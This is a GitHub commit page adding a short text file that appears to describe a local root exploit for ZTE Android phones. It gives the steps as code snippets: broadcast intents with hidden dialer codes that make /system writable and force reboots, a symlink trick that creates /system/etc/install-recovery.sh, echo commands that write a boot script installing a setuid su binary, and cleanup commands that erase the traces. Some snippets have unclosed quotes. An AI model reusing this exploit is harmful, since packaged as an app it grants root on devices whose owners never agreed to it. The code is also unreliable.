-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 1104f36
Showing
1 changed file
with
38 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
No license is applied to this code, it is public domain. Some tweaking maybe needed to make it 100% working | ||
|
||
This was tested ZTE avail, but is likely working on most ZTEs. You will need to take this, and make a working APK out of it. | ||
|
||
|
||
To create logs in /data/local/logs and cause system to be r/w on boot use this intent | ||
|
||
sendBroadcast(new Intent("android.intent.action.emdoe").putExtra("com.zte.smartdialer.input", "*983*7668#")); | ||
|
||
To make the phone reboot | ||
|
||
sendBroadcast(new Intent("android.intent.action.emdoe").putExtra("com.zte.smartdialer.input", "*983*27274#")); | ||
|
||
To create /system/ect/install-recovery.sh, which is ran on boot as root | ||
|
||
shell("rm -r /data/local/logs/logcat/*"); | ||
shell("ln -s /system/etc/install-recovery.sh /data/local/logs/logcat/ps.txt"); //ps.txt might not be the best choice for this | ||
|
||
Reboot again | ||
|
||
sendBroadcast(new Intent("android.intent.action.emdoe").putExtra("com.zte.smartdialer.input", "*983*27274#)); | ||
|
||
Write custom script to install-recovery.sh, probably best to install/chown/chmod su | ||
|
||
shell("echo '#!/system/bin/sh' > /system/etc/install-recovery.sh"); | ||
shell("echo 'cat /data/local/su > /system/xbin/su' >> /system/etc/install-recovery.sh"); | ||
shell("echo 'chown 0.0 /system/xbin/su' >> /system/etc/install-recovery.sh"); | ||
shell("echo 'chmod 06744 /system/xbin/su' >> /system/etc/install-recovery.sh"); | ||
|
||
Reboot | ||
sendBroadcast(new Intent("android.intent.action.emdoe").putExtra("com.zte.smartdialer.input", "*983*27274#)); | ||
|
||
Clean up | ||
|
||
rootshell("rm -r /data/local/logs"); | ||
rootshell("rm /data/property/persist.sys.ztelog.enable"); | ||
rootshell("rm -r /data/local/rwsystag"); | ||
sendBroadcast(new Intent("android.intent.action.emdoe").putExtra("com.zte.smartdialer.input", "*983*27274#)); |